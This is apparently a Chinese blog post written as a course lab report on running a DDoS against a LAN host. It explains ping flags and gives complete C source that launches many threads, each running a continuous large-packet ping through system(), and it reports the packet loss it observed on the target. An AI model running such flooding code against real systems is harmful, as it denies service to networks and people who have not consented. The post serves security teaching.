软件安全实验——局域网DDoS攻击

实验任务

    对局域网内IP地址为10.12.186.186的主机(已关闭防火墙)发起基于网络流量DDoS攻击。

实验过程

DoS攻击与DDoS攻击

    DoS是Denial of Service的简称,即拒绝服务。造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DOS攻击有计算机网络宽带攻击和连通性攻击。DoS攻击的目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃
    分布式拒绝服务攻击(DDoS)可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用。DDoS攻击的思路是与目标主机建立大量的网络连接,发送大量的网络请求,大量占用其网络资源,使其网络无法提供正常的服务。

ping命令参数

    在Windows下使用命令ping /?查看ping命令参数的含义:
    通过该提示可以看出:我们可以使用ping命令的-n参数指定要发送的回显次数(或者使用-t参数使其一直发送),可以使用-l指定发送的缓冲区大小,可以使用-w指定等待每次回复的时间。
请添加图片描述

实施DDoS攻击

    DoS攻击程序需要与目标主机建立大量的网络连接,发送大量的网络请求,大量占用其网络资源,使目标主机网络无法提供正常的服务。
    而ping命令可以使用ping命令的- t参数使其一直对目标主机发送网络请求,可以使用-l 65500指定较大的发送缓冲区大小
    程序需要控制输入一个有效的IP地址,然后利用字符串拼接操作拼接出“ping +IP地址”的命令,通过调用system函数使用ping命令实现攻击
    为了使得单机的攻击最大化,需要使用线程编程技术中的CreateThread函数创建多个线程进行攻击。此外,还需要多开攻击进程(使攻击进程占所有进程的比例增加,使得攻击进程尽量占用更多的时间片),使其尽量消耗CPU资源,使攻击效果最大化。
    DDoS攻击程序源代码如下:

#include <stdio.h>
#include <windows.h>

#define MaxSize 50
#define MaxThreadNum 128

HANDLE ThreadHandle[MaxThreadNum]; //线程句柄
DWORD ThreadID[MaxThreadNum];      //线程ID

DWORD WINAPI DDosServer(LPVOID IP_Address)
{
    //初始化ping命令
    char Command[MaxSize] = "ping \0";

    //IP格式转化
    char *IP = (char *)IP_Address;

    //拼接IP
    strcat(Command, IP);
    //拼接ping命令参数(方式、缓冲区大小、请求数)
    //同时保证可控
    strcat(Command, " -t -l 65500\0");
    //执行ping命令
    //这个命令不会结束,程序无法正常终止
    system(Command);

    return 0;
}

int main()
{
    int ThreadNum = 8;
    char IP[16] = {0};

    //输入目标主机IP
    printf("请输入目标主机IP: ");
    scanf("%s", IP);

    printf("请输入攻击线程数:");
    scanf("%d", &ThreadNum);

    for (int i = 0; i < ThreadNum; ++i)
    {
        ThreadHandle[i] = CreateThread(NULL, 0, DDosServer, &IP, 0, &ThreadID[i]);
        if (ThreadHandle != NULL)
            printf("攻击线程%d创建成功!\n", i);
        else
            printf("攻击线程%d创建失败!\n", i);
    }

    //等待全部线程结束
    WaitForMultipleObjects(ThreadNum, ThreadHandle, TRUE, INFINITE);

    for (int i = 0; i < ThreadNum; ++i)
    {
        //关闭线程句柄
        //TerminateThread(ThreadHandle[i], 0);
        if (CloseHandle(ThreadHandle[i]) == true)
            printf("攻击线程%d结束成功!\n", i);
    }

    return 0;
}

    启动攻击程序,输入IP地址10.12.186.186,开始DDoS攻击。
    在刚刚发动DDOS攻击时,攻击方能正常收到目标机器的回复报文
DDoS
    在多台机器上使用多个进程和多个线程进行DDoS攻击时,观察到部分回复报文丢失
DDoS
    此时,在目标主机上观察到:DDoS攻击虽然未能使目标主机瘫痪,但是大量占用了目标主机的网络资源,可能使其网络无法提供正常的服务,DDoS攻击成功有效。
DDoS

  • 3
    点赞
  • 64
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值